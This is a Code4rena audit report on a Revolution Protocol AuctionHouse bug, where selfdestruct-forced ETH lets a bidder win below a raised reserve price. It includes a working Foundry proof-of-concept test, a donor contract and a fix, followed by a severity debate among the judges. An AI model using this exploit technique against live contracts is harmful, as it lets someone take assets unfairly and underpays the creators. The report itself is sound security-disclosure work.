Bidder can use donations to get VerbsToken from auction that already ended.

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L348 https://github.com/code-423n4/2023-12-revolutionprotocol/blob/main/packages/revolution/src/AuctionHouse.sol#L365-L368

Vulnerability details

Impact

• Token will be auctioned off without following the intended rules resulting in an unfair auction.
• Loss of funds for Creators and AuctionHouse owner.

Proof of Concept

For this attack to be possible it's necessary that the following happens in the shown order:

1. Attacker created a bid.
2. AuctionHouse::reservePrice is increased to a value superior to the already placed bid.
3. No new bid is created after AuctionHouse::reservePrice is called and the auction ends.
4. Attacker donates through selfdestruct to AuctionHouse the minimum necessary to have address(AuctionHouse).balance be greater or equal to AuctionHouse::reservePrice.
5. Auction is settled.
6. Attacker will get the token and creators and AuctionHouse owner will be paid less than expected since their pay will be computed based on _auction.amount which is lower than the set reservePrice.

To execute the following code copy paste it into AuctionSettling.t.sol

 function testCircumventsMostCreateBidRestrictionsThroughDonationAndReducesTokenPayments() public {
        createDefaultArtPiece();
        auction.unpause();

        uint256 balanceBefore = address(dao).balance;

        uint256 bidAmount = auction.reservePrice();
        uint256 reservePriceIncrease = 0.1 ether;
        address bidder = address(11);
        vm.deal(bidder, bidAmount + reservePriceIncrease);
        vm.startPrank(bidder);
        auction.createBid{ value: bidAmount }(0, bidder); // Assuming first auction's verbId is 0
        vm.stopPrank();

        vm.startPrank(auction.owner());
        // After setting new ReservePrice current bid won't be enough to win the auction
        auction.setReservePrice(auction.reservePrice() + reservePriceIncrease);
        assertGt(auction.reservePrice(), bidAmount);
        vm.stopPrank();

        vm.warp(block.timestamp + auction.duration()); // Fast forward time to end the auction

        vm.startPrank(bidder);
        ContractDonatesEthThroughSelfdestruct donor = new ContractDonatesEthThroughSelfdestruct{value: reservePriceIncrease}();
        donor.donate(payable(address(auction)));
        auction.settleCurrentAndCreateNewAuction();

        //Through donation bidder was able to get the token even though the auction had already ended.
        assertEq(erc721Token.ownerOf(0), bidder);

        //Since payments are calculated using _auction.amount all the involved parties will get
        //less than they would if reservePrice had been respected.
        //Code below shows payments were calculated based on bidAmount which is less than the reservePrice.
        uint256 balanceAfter = address(dao).balance;

        uint256 creatorRate = auction.creatorRateBps();
        uint256 entropyRate = auction.entropyRateBps();

        //calculate fee
        uint256 amountToOwner = (bidAmount * (10_000 - (creatorRate * entropyRate) / 10_000)) / 10_000;

        //amount spent on governance
        uint256 etherToSpendOnGovernanceTotal = (bidAmount * creatorRate) /
            10_000 -
            (bidAmount * (entropyRate * creatorRate)) /
            10_000 /
            10_000;
        uint256 feeAmount = erc20TokenEmitter.computeTotalReward(etherToSpendOnGovernanceTotal);

        assertEq(
            balanceAfter - balanceBefore,
            amountToOwner - feeAmount
        );
    }

contract ContractDonatesEthThroughSelfdestruct {
    constructor() payable {}

    function donate(address payable target) public {
        selfdestruct(target);
    }
}

Tools Used

Manual Review.

Recommended Mitigation Steps

Execute the following diff at AuctionHouse::_settleAuction :

- if (address(this).balance < reservePrice) {
+ if (_auction.amount < reservePrice) {

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #72

[c4-pre-sort]

raymondfam marked the issue as not a duplicate

[c4-pre-sort]

raymondfam marked the issue as primary issue

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-sponsor]

rocketman-21 (sponsor) confirmed

[c4-judge]

MarioPoneder marked the issue as satisfactory

[MarioPoneder]

This rather fits the definition of High severity due to potential losses and assets being at direct risk.

[c4-judge]

MarioPoneder changed the severity to 3 (High Risk)

[MarioPoneder]

Selecting for report due to PoC.

[c4-judge]

MarioPoneder marked the issue as selected for report

[DevHals]

Hi @MarioPoneder,

this issue is validated based on a check that the AuctionHouse contract balance can be manipulated by extrernal donations to bypass this condition and mint the auctioned verbs NFT:

```solidity
if (address(this).balance < reservePrice) {
```

and this condition will only be true if the contract owner changed (increased) the reservePrice during an active auction; so this is a result of an admin fault,

referring to issue #495: this issue (and its duplicates) pointed to the adverse effects of changing AuctionHouse parameters during an active auction, and these issues were invalidated as this is intended by design, quoting your reply on the issue:

Behaviour by desing and changes are queued by DAO, i.e. not effective immediately. Therefore, QA seems appropriate.

But even if the changes are going to pass the timelock first in order to take place; there's no guarantee that this would be done while there's no auctions, as starting auctions is manual and can be invoked by anyone and there's no check if there's any active auction before changing contract's parameters.

Also invalidating the root cause of this issue (which is pointed out by 495 and its duplicates) while validating its effect (this issue itself) is inconsistent,, since this issue is a result of increasing the reservePrice during an active auction.

I kindly ask you to reconsider issue 495 and its duplicates, or the validity of this issue.

Thanks!

[MarioPoneder]

Thank you for pointing out this inconsistency.
After another review, it seems that there is no meaningful attack path without raising the reservePrice inbetween. @rocketman-21 Requesting your input.

[rocketman-21]

I agree this would be more admin / dao fault.

ideally the dao would wait to update the reserve price to line up with the start of a new auction, to ensure some bids will come in. your call ultimately @MarioPoneder I implemented the fix in any case

[MarioPoneder]

Thanks for the input!

ideally the dao would wait to update the reserve price to line up with the start of a new auction

It's reasonable to assume that this is not always the case, therefore this group of issues remains valid. Going to re-check #495 and duplicate accordingly.

The root cause is the change of parameters mid-auction, while the usage of selfdestruct is "just" a very impactful attack path.

[osmanozdemir1]

Hi @MarioPoneder

It's reasonable to assume that this is not always the case, therefore this group of issues remains valid.

I agree this issue being valid based on this comment, but I think it is a medium severity due to being dependant to external factors like the Dao changing the reserve price mid-auction.

[mcgrathcoutinho]

Hi @MarioPoneder, I believe this issue remains of valid high severity.

1. This is not admin fault or DAO not providing a heads up announcement. There is higher likelihood that reservePrice will need to be updated during an auction since auctions will be running 24/7 based on 24 hour auction times plus 15 min timeBuffers. This is the reason why this code block here was introduced in the first place i.e. to handle this case.
2. Even if the DAO provides a heads up, an attacker can still forcefully gain the NFT while it was on the path to burn.

[MarioPoneder]

I understand both sides, all valid points. However, the severity is determined by the impact (highest of all duplicates) which can be categorized as theft/loss. Furthermore a change of reservePrice which facilitates this attack path is rather solid than a hand-wavy hypothetical (to use the language of the C4 docs), therefore leaning towards High severity.

[bart1e]

If I'm missing something, please point it out, but there are several points that I would like to raise:

1. The attack relies on the assumption that reservePrice is going to change (which, of course may happen), but changing reservePrice during auction is itself unfair for people that are already participating in auction, in the first place, and such a change should be made when the contract is paused, so we are already assuming an owner's mistake.
2. Attacker gains nothing for the attack as he has to pay the new reservePrice anyway. Even more - he has to do additional work of creating a contract and selfdestructing it and the entire operation will cost him considerably more gas than when he simply created a higher bid.
3. Attacker has to rely on an already unlikely scenario that no one is going to create a bid higher than him - he has no influence on that, which will make him even more reluctant to perform the attack.
4. If the reservePrice was ever going to be increased, it is only logical to do so when users are regularly paying more than the current reservePrice. Otherwise, it wouldn't make any sense. And if we assume that it is the case (users are paying more than current reservePrice), then it's unlikely that nobody will create a higher bid than the attacker, which makes the attack even more unlikely.
5. When the protocol was doing fine with some reserve price for X days, all this attack does is to make it go with this reserve price one day longer. It's not a big difference between X and X+1.
6. The attack doesn't even hurt the protocol since if hasn't been made, then the protocol would earn 0 and instead it would get money for the NFT being auctioned (if that price was fine for X days, then it's really not a tragedy for it to last 1 day longer). In fact, the attack benefits the protocol as it earns money that wouldn't have been acquired in a different scenario.

So:

• there are several preconditions for this attack, making it unlikely and attacker has to depend on several different entities
• attacker has to pay more for this attack than if he simply created higher bid, so the attack is not viable for him
• the attack in fact benefits the protocol, as it receives some money instead of receiving nothing. So "adversary" does not even have a motive for performing this attack as the only person that loses in this scenario is him.

So, unless I'm missing something, this "attack" seems like not a threat, but in fact an opportunity for the protocol.

[MarioPoneder]

Thanks for all the input so far! Tagging @rocketman-21 since all the additional arguments here provide value for the sponsor.

[rocketman-21]

agreed w/ @bart1e don't really see how this is a big problem / what the attacker stands to gain tbh, especially since the AuctionHouse will just get the funds anyways, and could retroactively pay the difference to the creator(s). def could be MED imho

[mcgrathcoutinho]

Hi @MarioPoneder, I disagree with both @rocketman-21 and @bart1e, here's why:

1. Bidder wins the NFT (that was on the path to burn) without creating a new bid after reservePrice update.
2. The auction.amount uses value less than the new updated reservePrice, which breaks the min reservePrice required invariant.
3. Since auction.amount is based on bidder's last bid (prior to reservePrice update), amount sent to creators, treasury and the other entities in ERC20TokenEmitter is way lesser than the expected amount. This means reduced rewards overall.
4. The extra ETH sent by the self-destruct operation remains locked in the AuctionHouse.sol contract and can never be retrieved by the team.
5. Although the bidder loses that locked amount of ETH, he not only won the auction while reducing rewards for the team but also can make more of the NFT that was bound to burn.
6. AuctionHouse gets the reduced funds but this should not be seen as an opportunity but rather incorrect functioning of the codebase, which could further be seen as unfair by the community if the attacker receives the NFT.

[MarioPoneder]

Thanks again for all the input!

After having another review the of report, some duplicates and the comments, it seems that I have overestimated the impacts and likelihood.
Nevertheless, it's out of question that there is an underlying bug which impacts the intended functionality of the protocol, therefore Medium severity (as originally chosen by the Warden) is fair.

[c4-judge]

MarioPoneder changed the severity to 2 (Med Risk)